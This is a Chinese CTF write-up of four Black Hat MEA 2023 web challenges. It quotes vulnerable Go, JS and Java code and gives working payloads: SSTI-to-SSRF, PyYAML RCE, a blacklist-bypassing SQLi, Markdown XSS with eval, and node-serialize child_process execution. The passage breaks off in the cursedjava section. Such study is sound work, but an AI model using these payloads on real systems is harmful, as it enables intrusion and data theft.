Skip to content
Go back

Black Hat MEA CTF 2023 Web Writeup

Edit page

跟 Nu1L 的 crane 师傅一起做的 Web 题, 最后队伍取得了第七名的成绩, 师傅们太强了

记录一下我这边的 Writeup, 标 * 的表示比赛当时没做出来, 赛后复现的题目

Table of contents

Open Table of contents

gtb

题目是一个银行, 可以借钱还钱转账, 然后还可以创建笔记和上传特定格式的文件

解这道题需要多个漏洞点组合利用

首先 logout 路由存在开放重定向

bank/controllers/auth.go

func LogoutHandler(c *fiber.Ctx) error {
	session, err := sessions.RSS.Get(c)

	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}
	session.Destroy()
	if err := session.Save(); err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	redirectTo := c.Query("redirect_to", "/login")

	return c.Redirect(redirectTo)
}

payload

http://127.0.0.1:3000/logout?redirect_to=https://www.google.com/

其次是 SSTI

bank/controllers/transactions.go

func ViewSpecificTransactionsInfo(c *fiber.Ctx) error {
	transaction_id, err := c.ParamsInt("id", 0)
	forWhom := c.Query("for", "")

	if err != nil {
		return c.Status(http.StatusBadRequest).SendString("Invalid transaction id")
	}

	if transaction_id == 0 {
		return c.Status(http.StatusBadRequest).SendString("Invalid transaction id")
	}

	s, err := sessions.RSS.Get(c)
	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	accountId, ok := s.Get("account_id").(uint)

	if !ok {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	uid := uint(accountId)

	var transaction models.Transaction
	err = models.FindUserTransaction(&transaction, uint(transaction_id), uid, "DESC")

	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	tmpl, err := template.New("").Parse(
		"Transaction ID: {{.ID}}| Amount: {{.Amount}}| Description: {{.Description}}| Type: {{.Type}}| Account ID: {{.AccountID}}| Created At: {{.CreatedAt}}|From:" + forWhom,
	)
	if err != nil {
		fmt.Println(err)
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	var tpl bytes.Buffer
	if err := tmpl.Execute(&tpl, &transaction); err != nil {

	}

	res := tpl.String()

	config.CustomLogger.Log(res)

	return c.Render("transaction", fiber.Map{
		"transaction": transaction,
	})

}

forWhom 也就是通过 GET 传递的参数 for, 直接被传入了模版本身, 存在 SSTI

在这里 SSTI 可以调用 Transaction 结构体的某些方法 (必须仅包含一个 string 类型的参数)

这里我找到了 DoesPartyExist 方法, 可以进一步造成 SSRF

bank/models/Transaction.go

func (t *Transaction) DoesPartyExist(desc string) bool {

	parts := strings.Split(desc, "|")
	transferURL, err := url.Parse(parts[0][3:])

	if err != nil {
		return false
	}

	isLocal := strings.HasPrefix(transferURL.Host, "127.0.0.1:3000") && strings.HasPrefix(transferURL.Path, "/user/")

	if !isLocal {
		return false
	}

	transferURL.Path = path.Clean(transferURL.Path)

	client := &http.Client{}

	req, err := http.NewRequest("GET", transferURL.String(), nil)

	if err != nil {
		return false
	}
	resp, err := client.Do(req)

	if err != nil {
		return false
	}
	defer resp.Body.Close()

	return resp.StatusCode != http.StatusNotFound

}

通过 /user/../logout 绕过 path prefix 检查

/transactions/view/dev/2?for={{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:4444/|123"}}

到目前为止, 我们找到了开放重定向, SSTI 以及 SSRF

然后接下来去看看如何找到最终能够 RCE 或者 get flag 的 sink 点

题目的 accountant/job.py 使用了低版本的 PyYAML (5.1.2), 可以 RCE

exp: !!python/object/apply:os.system ["whoami"]

accountant/job.py

#!/usr/bin/env python3

import datetime
import os
import requests
import signal
from yaml import *

signal.alarm(20)


def verify_records(s):
    return "[+] I'm done, let me go home\n" + s


pw = "SUPER_DUPER_SECRET_STRING_HERE"
auth_data = {"username": "MisterX", "password": pw}


print("[+] Let me get into my office")

sess = requests.Session()
resp = sess.post(
    "http://localhost:3000/login",
    data={"username": "MisterX", "password": pw},
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    allow_redirects=False,
)


# sess.cookies.set("session_id", resp.cookies.get("session_id"))


print("[+] Verifying old records, I am shocking with dust, Damn there are rats too !")
resp = sess.get("http://localhost:3000/transactions/report/info/all")
print(resp.text)

if len(resp.text) != 0:
    print("[-] I am not happy, I am not going to work today")

    reports = resp.text.split("|")

    for report in reports:
        try:
            report_id = report.split(":")[0]
            user_id = report.split(":")[1]

            print("[+] Interesting record here, ")
            res = sess.get(
                "http://localhost:3000/transactions/report/gen/"
                + report_id
                + "?user_id="
                + user_id
            )
            if res.status_code == 200:
                loaded_yaml = load(res.text, Loader=Loader)
                print(verify_records(loaded_yaml))
        except:
            print("[-] ~#! !!!! Oo $h/t the rats are eating the old records")


resp = sess.get("http://localhost:3000/users")
print("[+] Got new reports for today hope not, let me do my work you shorty!")

print(resp.json())

for user in resp.json():
    try:
        resp = sess.get(
            "http://localhost:3000/transactions/report/gen/1?user_id=" + str(user["ID"])
        )
    except:
        print("[+] a bit more ...")

print(f"[{datetime.datetime.now()}] Accountant will be back soon.")

脚本首先会以 accountant role 的身份登录网站, 然后访问 /transactions/report/info/all 拿到 user_id 和 report_id

然后尝试访问 /transactions/report/gen/<report_id>?user_id=<user_id> 以生成一个 transactions report

之后拿到 report 内容并调用 load(res.text, Loader=Loader), 这里使用了默认的 PyYAML.Loader 对 YAML 格式的 report 进行反序列化

最后会枚举所有用户并访问 /transactions/report/gen/1?user_id=<user_id> 并尝试为每个用户生成一个 report (此时 report_id 为 1)

先看看生成 report 的过程

bank/controllers/transactions.go

// /report/gen/:id
func GetReport(c *fiber.Ctx) error {
	report_id := c.Params("id", "")

	user_id := c.QueryInt("user_id", 0)

	if report_id == "" {
		return c.Status(http.StatusBadRequest).SendString("Invalid Id value")
	}

	report, _ := models.VerifyReportInCache(report_id)

	if report != "" {
		return c.SendString(report)
	}

	if user_id == 0 {
		return c.Status(http.StatusBadRequest).SendString("Invalid user id")
	}

	report, err := models.GenerateReport(uint(user_id))

	if err != nil {

		fmt.Println("[+] Error generating report, ", err)

		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error: Error generating report")
	}

	report_id = utils.HashStringToSha256(report)

	_ = models.SaveReportInCache(report_id, report)

	if !slices.Contains(cachedKeys, report_id+":"+strconv.Itoa(user_id)) {
		cachedKeys = append(cachedKeys, report_id+":"+strconv.Itoa(user_id))
	}

	c.Response().Header.Set("Content-Type", "text/yaml")

	return c.SendString(report)
}

GetReport 方法会先从 Redis 中取出 report, 如果没有的话就会调用 models.GenerateReport 生成 report, 并且以其内容进行 SHA256 得到一个 report_id, 最后将其保存至 Redis

GenerateReport 方法

func GenerateReport(userID uint) (string, error) {

	latestTransactions, err := GetLatestUserTransactions(userID)

	fmt.Println(latestTransactions)

	if err != nil {
		return "", err
	}

	if len(latestTransactions) == 0 {
		return "", errors.New("No transactions found")
	}

	if len(latestTransactions) < 10 {
		return "", errors.New("Not enough transactions to generate report")
	}

	var report string

	descArray := []TransactionDescription{}

	for _, transaction := range latestTransactions {
		desc, err := transaction.GetTransactionDescription()
		if err != nil {
			return "", err
		}

		descArray = append(descArray, desc)
	}

	report, err = DumpTransactionDescriptionsToYaml(descArray)

	return report, err
}

只有当交易数大于等于 10 时, report 才能够被生成

方法最终会调用 DumpTransactionDescriptionsToYaml 将 descArray 序列化为 YAML 格式

然后这里我们得注意一个点: 我们不能够在序列化之前构造一个 RCE payload, 因为程序在反序列化后会将 !!!xxx 这种形式的内容作为一个字符串, 而不是类型转换语法

所以得找到其它地方存入 YAML payload 实现 RCE

在上面的分析中, GetReport 方法首先会尝试从 Redis 中取出 report, 这里我找到了另外一个地方, 可以将自定义数据写入 Redis (key 和 value 均可控)

bank/controllers/user.go

// /financial-note/view/:title
func ViewFinancialNote(c *fiber.Ctx) error {
	title := c.Params("title")

	var financialNote models.FinanceNote

	if len(title) < 4 {
		return c.Status(http.StatusBadRequest).SendString("Note must be at least 4 character and same for its title.")
	}

	res, err := config.Cache.Get(title)

	if err != nil && res != "" {
		financialNote.Title = title
		financialNote.Note = res
		return c.Render("financial_note", financialNote)
	}

	s, err := sessions.RSS.Get(c)

	if err != nil {
		fmt.Println(err)
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	userId, ok := s.Get("user_id").(uint)

	if !ok {
		fmt.Println(err, userId)
	}

	if err := models.GetUserNoteByTitle(&financialNote, title); err != nil {
		return c.SendStatus(http.StatusNotFound)
	}

	if err := config.Cache.Set(title, financialNote.Note); err != nil {
		fmt.Println(err)
		return c.SendStatus(http.StatusInternalServerError)
	}

	return c.Render("financial_note", financialNote)

}

不过这个路由仅允许本地访问, 但是我们之前已经找到了一个 SSRF, 所以只需要构造这种 payload 即可

/transactions/view/dev/2?for={{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:4444/|123"}}

后面只需要先创建一个 note, 然后用这个 SSRF 去访问 note, 使得 note 被写入 Redis, 之后让 GetReport 方法从 Redis 中获取这个 note 的内容, 再让 accountant 反序列化, 即可实现 RCE

然后还有另外一个点需要注意: 我们需要构造正确的 report_id, 因为 note title (同时也是 Redis key) 必须不少于 4 个字符

acccountant 脚本只会从 /transactions/report/info/all 中获取 report_id, 或者以 1 作为 report_id, 然后生成 report

bank/controllers/transactions.go

// /report/info/all
func GetReportsKeys(c *fiber.Ctx) error {
	return c.SendString(strings.Join(cachedKeys, "|"))
}

cachedKeys 是一个全局 map, 存放了先前所有的 report_id 和 user_id

GetReport 方法

if !slices.Contains(cachedKeys, report_id+":"+strconv.Itoa(user_id)) {
  cachedKeys = append(cachedKeys, report_id+":"+strconv.Itoa(user_id))
}

这里需要将我们的 report_id 存入 cacheKey, 这样 accountant 脚本才能够获取到我们自定义的 report 内容

虽然只有 GetReport 对 cacheKeys 有写入操作, 但是很容易注意到写入的 Redis cache 会在 30s 后过期

bank/config/redis.go

func (r RedisConnection) Set(key string, value string) error {
	return r.client.Set(r.client.Context(), key, value, 30*time.Second).Err()
}

所以我们可以重用之前的 report_id (已经被存入了 cacheKeys map), 然后利用这个 report_id 向 Redis 中写入 RCE payload

exp

import requests
from urllib.parse import quote
import time
import hashlib
import re

# url = 'http://a91ea859f3ba8f8e2524a.playat.flagyard.com'

url = 'http://127.0.0.1:3000'

report = '''- sender: ""
  username: ""
  balance_before: 9
  balance_after: 10
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 8
  balance_after: 9
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 7
  balance_after: 8
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 6
  balance_after: 7
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 5
  balance_after: 6
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 4
  balance_after: 5
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 3
  balance_after: 4
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 2
  balance_after: 3
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 1
  balance_after: 2
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 0
  balance_after: 1
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
'''

s = requests.Session()

print('register')
s.post(url + "/register", data={"username": "test1234", "password": 'test1234'})

print('login')
s.post(url + "/login", data={"username": "test1234", "password": 'test1234'})

print('trasactions')
for _ in range(10):
    print('deposit')
    s.post(url + '/account', data={
        'operation': 'deposit',
        'to': '3',
        'amount': '1'
    })

print('find report_id')
res = s.get(url + '/account')
created_at = re.findall(r"deposit\|(\d\d\d\d-\d\d-\d\d \d\d\:\d\d)", res.text)[0]

report = report.replace('REPLACE', created_at)
report_id = hashlib.sha256(report.encode()).hexdigest()

print('add note')
s.post(url + '/user/financial-note/new', data={
    'title': report_id,
    'note': 'exp: !!python/object/apply:os.system ["cat /* > /app/static/flag.txt"]'
})

while True:
    print('write note to redis')
    payload = quote(r'{{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:3000/financial-note/view/' + report_id + '|123"}}')
    res = s.get(url + '/transactions/view/dev/2?for=' + payload)

    time.sleep(1)

访问 /static/flag.txt 得到 flag

这里比较蛋疼的是得注意交易时间, 必须和题目服务器上的完全一致, 然后 YAML 是倒序的 (最新的交易在最前面)

way2easy

xsleaks 题

handlers/master_key.go

func SecretDoor(c echo.Context) error {

	master_key := c.FormValue("master_key")

	if master_key != "" && !utils.IsBlacklisted(master_key) {
		var id string

		err := utils.Db.QueryRow(fmt.Sprintf("SELECT id FROM masterKeys WHERE master_key = '%s'", master_key)).Scan(&id)

		if err != nil {
			if err == sql.ErrNoRows {
				return echo.ErrBadRequest
			}
			return echo.ErrInternalServerError
		}

	}

	return c.NoContent(200)
}

SQLite 盲注, flag 在 masterkeys 表中

IsBlacklisted 函数

func IsBlacklisted(input string) bool {
	blacklist := []string{
		"--", ";", "/*", "*/", "@@", "@", "char", "nchar", "varchar", "nvarchar",
		"alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end",
		"exec", "execute", "fetch", "insert", "kill", "open", "select", "sys", "sysobjects", "union",
		"syscolumns", "table", "update",
	}

	for _, keyword := range blacklist {
		if strings.Contains(strings.ToLower(input), keyword) {
			return true
		}
	}
	return false
}

很容易就可以绕过

master_key=1' or master_key like 'flag{%

/secret-note 路由前端存在 Markdown XSS

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Note Display</title>

    <!-- Include pico.css -->
    <link rel="stylesheet" href="/static/pico.css">
</head>

<body>

    <div class="container">
        <h1>Your Note:</h1>
        <div id="noteOutput"></div>
    </div>

    <script src="/static/main.js"></script>
    <script>
        init()
    </script>

    <!-- Include DOMPurify for sanitizing -->
    <script type="text/javascript" src="/static/purify.min.js"></script>

</body>

</html>

/static/main.js

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function simpleMarkdownToHTML(md) {
    let html = md;

    // Convert headers
    html = html.replace(/^# (.*$)/gim, '<h1>$1</h1>');
    html = html.replace(/^## (.*$)/gim, '<h2>$1</h2>');
    html = html.replace(/^### (.*$)/gim, '<h3>$1</h3>');
    html = html.replace(/^#### (.*$)/gim, '<h4>$1</h4>');


    // Convert images
    html = html.replace(/!\[(.*?)\]\((.*?)\)/gim, '<img src="$2" alt="$1">');

    // Convert links
    html = html.replace(/\[(.*?)\]\((.*?)\)/gim, '<a href="$2">$1</a>');

    // Convert bold text
    html = html.replace(/\*\*(.*?)\*\*/gim, '<b>$1</b>');
    html = html.replace(/__(.*?)__/gim, '<b>$1</b>');


    // Convert italic text
    html = html.replace(/\*(.*?)\*/gim, '<i>$1</i>');
    html = html.replace(/_(.*?)_/gim, '<i>$1</i>');

    // Convert blockquotes
    html = html.replace(/^> (.*$)/gim, '<blockquote>$1</blockquote>');

    return html;
}


function init() {
    document.addEventListener("DOMContentLoaded", function () {
        let note = getQueryParam('note');

        if (note) {

            if (typeof note === "string" && note.length > 150) {
                note = "Here is a placeholder note as yours is so long "
            }
            else {
                const currNote = atob(note)
                const safeHTML = DOMPurify.sanitize(currNote);
                note = simpleMarkdownToHTML(safeHTML);
            }

        } else {
            console.warn('No note query parameter set.');
            note = "Who Doesn't love cats"
        }


        document.getElementById('noteOutput').innerHTML = note;
    });
}

虽然用了 DOMPurify, 但其实还是可以用 Markdown 语法构造 XSS

![" onerror="eval(atob('YWxlcnQoMCk='))](0)

note 参数有长度限制, 不过可以从另一个 GET 参数中拿数据然后 eval

![" onerror="u=new URLSearchParams(window.location.search);eval(atob(u.get('x')))](0)

bot 不通外网, 得用 /keeper 路由外带 flag

handlers/keeper.go

func HandleKeeper(c echo.Context) error {
	// Get the payload from the POST form data
	payload := c.FormValue("payload")

	// Insert the payload into the vault table
	_, err := utils.Db.Exec("INSERT INTO vault (payload) VALUES (?)", payload)
	if err != nil {
		return echo.NewHTTPError(http.StatusInternalServerError, "Failed to save payload")
	}

	return c.String(http.StatusOK, "Payload saved successfully!")
}

func ViewKeeper(c echo.Context) error {

	var payloads []string
	rows, err := utils.Db.Query("SELECT payload FROM vault")
	if err != nil {
		fmt.Println(err)
		return echo.NewHTTPError(http.StatusInternalServerError, "Restart instance")
	}

	defer rows.Close()

	for rows.Next() {

		var x string
		if err := rows.Scan(&x); err != nil {
			return echo.NewHTTPError(http.StatusInternalServerError, "Restart instance")
		}

		payloads = append(payloads, x)
	}

	if err := rows.Err(); err != nil {
		panic(err)
	}

	return c.String(200, strings.Join(payloads, "-------------------\n"))

}

最终 payload

(async function() {
    let flag = 'flag{';
    let dicts='{}-0123456789abcdefghijklmnopqrstuvwxyz_'
    while (true) {
        for (let i = 0; i < dicts.length; i++) {
            let res = await fetch("/secret-door", {
                method: "POST",
                headers: {
                    "Content-Type": "application/x-www-form-urlencoded"
                },
                body: "master_key=1' or master_key like '" + flag + dicts[i] + "%25"
            })
            if (res.status == 200) {
                console.log(res.status)
                flag += dicts[i]
                console.log(flag)
                if (dicts[i] == '}') {
                    fetch("/keeper", {
                        method: "POST",
                        headers: {
                            "Content-Type": "application/x-www-form-urlencoded"
                        },
                        body: "payload=" + flag
                    })
                    return
                }
                break
            }
        }
    }
})()

bot url

http://localhost:3000/secret-note?note=IVsiIG9uZXJyb3I9InU9bmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKTtldmFsKGF0b2IodS5nZXQoJ3gnKSkpXSgwKQ==&x=KGFzeW5jIGZ1bmN0aW9uKCkgewogICAgbGV0IGZsYWcgPSAnQkhGbGFnWXsnOwogICAgbGV0IGRpY3RzPSd7fS0wMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpfJwogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGRpY3RzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGxldCByZXMgPSBhd2FpdCBmZXRjaCgiL3NlY3JldC1kb29yIiwgewogICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICBoZWFkZXJzOiB7CiAgICAgICAgICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiCiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgYm9keTogIm1hc3Rlcl9rZXk9MScgb3IgbWFzdGVyX2tleSBsaWtlICciICsgZmxhZyArIGRpY3RzW2ldICsgIiUyNSIKICAgICAgICAgICAgfSkKICAgICAgICAgICAgaWYgKHJlcy5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICBjb25zb2xlLmxvZyhyZXMuc3RhdHVzKQogICAgICAgICAgICAgICAgZmxhZyArPSBkaWN0c1tpXQogICAgICAgICAgICAgICAgY29uc29sZS5sb2coZmxhZykKICAgICAgICAgICAgICAgIGlmIChkaWN0c1tpXSA9PSAnfScpIHsKICAgICAgICAgICAgICAgICAgICBmZXRjaCgiL2tlZXBlciIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIgogICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICBib2R5OiAicGF5bG9hZD0iICsgZmxhZwogICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9KSgp

等一会然后访问 /keeper 拿到 flag

Russian Dolls

node-serialize 的漏洞, 挺简单的题

index.js

fastify.get("/", { preHandler: isLoggedIn }, async (req, reply) => {
	let notes = [];
	if (req.cookies.notes) {
		const { valid, value } = req.unsignCookie(req.cookies.notes);

		if (!valid) {
			reply.clearCookie("notes");
			return reply.code(400).send({ error: { message: "Something is wrong" } });
		}
		const decodedCookie = Buffer.from(value, "base64");

		notes = global.serializer.fromBuffer(decodedCookie).map((x) => {
			new WAF(objSerializer, x);
			return objSerializer.unserialize(x);
		});

	}

	const { value } = req.unsignCookie(req.cookies.username);

	return reply.view("templates/index.ejs", {
		user: { username: value },
		notes,
	});
});

fastify.post("/", { preHandler: isLoggedIn }, async (req, reply) => {

	try {
		new WAF(objSerializer, req.body.note);
	} catch (e) {
		return reply.code(400).send(e);
	}

	if (req.body.note) {
		if (req.cookies.notes) {
			const { valid, value } = req.unsignCookie(req.cookies.notes);
			if (valid) {
				const decodedBuffer = Buffer.from(value, "base64");

				const notes = global.serializer.fromBuffer(decodedBuffer);
				notes.push(objSerializer.serialize(req.body.note));

				const serializedNotes = global.serializer.toBuffer(notes);
				reply.cookie("notes", serializedNotes.toString("base64"), {
					signed: true,
					httpOnly: true,
					secure: false,
				});
			} else {
				reply.clearCookie("notes");
			}
		} else {
			const serializedNote = objSerializer.serialize(req.body.note);
			reply.cookie(
				"notes",
				global.serializer.toBuffer([serializedNote]).toString("base64"),
				{
					signed: true,
					httpOnly: true,
					secure: false,
				}
			);
		}
		return reply.send({
			success: true,
		});
	}

	return reply.code(400).send({
		error: {
			message: "Bad note",
		},
	});
});

utils.js

const blacklist = [
	"atob",
	"btoa",
	"process",
	"exec",
	"Function",
	"require",
	"module",
	"global",
	"console",
	"+",
	"-",
	"*",
	"/",
	"===",
	"<",
	">=",
	"<=",
	"&&",
	"||",
	"new",
	"users",
	"[",
	"]",
	"Array",
	"constructor",
	"__proto__",
	"prototype",
	"hasOwnProperty",
	"valueOf",
	"toString",
	"charCodeAt",
	"fromCharCode",
	"string",
	"slice",
	"split",
	"join",
	"substr",
	"substring",
	"RegExp",
	"test",
	"match",
	"db",
	"Buffer",
	"setTimeout",
	"setInterval",
	"setImmediate",
	"Promise",
	"async",
	"await",
	"throw",
	"catch",
];

class Waf {
	constructor(serializer, any) {
		let value = any;
		if (typeof any === "object") {
			value = serializer.serialize(any);
		}

		if (value.length > 130) {
			throw new Error({
				message: "too long, no DDOS",
			});
		}

		for (let i = 0; i < blacklist.length; i++) {
			if (value.includes(blacklist[i])) {
				console.log(blacklist[i]);
				throw new Error({
					message: "not safe",
				});
			}
		}
		const result = vm.runInContext(
			` serializer.unserialize(value); `,
			vm.createContext({ value, serializer }),
			{ timeout: 1000 }
		);

		if (
			(typeof result === "string" ||
				(typeof result === "object" && result instanceof Array)) &&
			result.includes(process.env.FLAG)
		) {
			throw new Error({
				message: "nice try",
			});
		}
	}
}

简单发包即可

第一个包

POST / HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=test.iM0hCLU0fZc885zfkFPX3UJwSHbYyam9ji0WglnT3fc;
Connection: close
Content-Type: application/json
Content-Length: 138

{
"note":{
"x":"_$$ND_FUNC$$_function({eval(\"re\".concat(\"quire('child_pr\").concat(\"ocess').exe\").concat(\"c('env>a')\"))}()"
}
}

第二个包

POST / HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=test.iM0hCLU0fZc885zfkFPX3UJwSHbYyam9ji0WglnT3fc;
Connection: close
Content-Type: application/json
Content-Length: 147

{
"note":{
"x":"_$$ND_FUNC$$_function(){eval(\"re\".concat(\"quire('child_pr\").concat(\"ocess').exe\").concat(\"c('mv a s\\u002A')\"))}()"
}
}

访问 /static/a 拿到 flag

cursedjava

考点是反序列化 + SSRF

controllers/UserController.java

@GetMapping("/flag")
public ResponseEntity<String> getFlag(
    HttpServletRequest request) throws Exception {
  String flag = "You need to subscribe to get the flag.";
  String session = getSession(request);
  User user = userService.getUserBySession(session);
  if (user == null) {
    return new ResponseEntity<>(flag, HttpStatus.OK);
  }
  if (user.getSubscribed()) {
    flag = new Flag().getFlag();
  }
  return new ResponseEntity<>(flag, HttpStatus.OK);
}

需要 subscribe 才能拿到 flag

相关操作位于 /api/coupon/use/{id} 路由

@RequestMapping("/use/{id}")
public void create(
        @Valid @PathVariable String id,
        @RequestParam(value = "userId", defaultValue = "0") String userId,
        HttpServletRequest request) throws Exception {
    validateOrigin(request);
    couponService.useCoupon(id, userId);
}

validateOrigin 方法限制只允许本地 IP 访问

private void validateOrigin(HttpServletRequest request) {
    try {

        InetAddress requestAddress = InetAddress.getByName(request.getRemoteAddr());
        String uri = requestAddress.toString().split("/")[1];

        boolean isLocalhost = uri.equals("127.0.0.1");

        if (isLocalhost) {
            return;
        } else {
            throw new Exception("Not allowed");
        }
    } catch (Exception e) {
        System.out.println(e);
        throw new RuntimeException(e);
    }

}

couponService.useCoupon

public void useCoupon(String id, String userId) throws Exception {
    User u = userService.getUserById(userId);
    if (u == null) {
        throw new Exception("User not found");
    }

    Coupon coupon = getCouponById(id);

    if (coupon == null) {
        throw new Exception("Coupon not found");
    }

    if (!coupon.getIsValid()) {
        throw new Exception("Coupon is not valid");
    }

    u.setSubscribed(true);

    userService.updateUser(u);
}

getSession

private String getSession(HttpServletRequest request) {
  Cookie[] cookies = request.getCookies();

  Cookie userCookie = null;
  if (cookies != null) {
    for (Cookie cookie : cookies) {
      if (cookie.getName().equals("user")) {
        userCookie = cookie;
        break;
      }
    }
  }

  if (userCookie == null)
    return null;

  return userCookie.getValue();
}

getUserBySession, 存在反序列化

@Override
public User getUserBySession(String session) throws Exception {
    if (session == null) {
        return null;
    }
    try {
        byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
        ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
        ObjectInputStream ois = new Security(bis);
        Object o = ois.readObject();
        com.app.caching.User obj = (com.app.caching.User) o;
        return getUserById(obj.getId());
    } catch (Exception e) {
        return null;
    }
}

Security 重写了 ObjectInputStream

 public class Security extends ObjectInputStream {
   public Security(InputStream inputStream) throws IOException {
     super(inputStream);
   }


   protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
     if (!Pattern.matches("(com\\.app\\.(.*))|(java\\.time\\.(.*))", desc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
     }
     return super.resolveClass(desc);
   }
 }

注册的路由

@PostMapping("register")
public void register(
    @Valid @RequestBody User user,
    @RequestParam(value = "avatar", defaultValue = "ui-avatars.com") String avatarProvider) throws Exception {

  try {
    String avatar = userService.getAvatar(avatarProvider, user.getUsername());
    user.setAvatar(avatar);
  } catch (Exception e) {
  }
  userService.register(user);
}

getAvatar 可以 SSRF

@Override
public String getAvatar(String provider, String username) throws Exception {
    String avatarUrl = "http://%s/api/%s";
    avatarUrl = String.format(avatarUrl, provider, username);
    try {
        URL url = new URL(avatarUrl);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();
        con.setRequestMethod("GET");
        InputStream inputStream = con.getInputStream();
        byte[] bytes = inputStream.readAllBytes();
        byte[] encoded = Base64.getEncoder().encode(bytes);
        String encodedString = new String(encoded);

        if (encodedString.length() == 0)
            return avatarUrl;
        return encodedString;
    } catch (Exception e) {
        e.printStackTrace();
        throw new Exception(e.getMessage());
    }
}

refresh 路由也有反序列化

@PostMapping("refresh")
public void refresh(HttpServletRequest request) throws Exception {
  Cookie[] cookies = request.getCookies();

  Cookie userCookie = null;
  for (Cookie cookie : cookies) {
    if (cookie.getName().equals("user")) {
      userCookie = cookie;
      break;
    }
  }
  userService.refresh(userCookie.getValue());
}

refresh 会把 user cookie 反序列化得到的对象 (必须是 Blueprint 或其子类) 存入 Redis

@Override
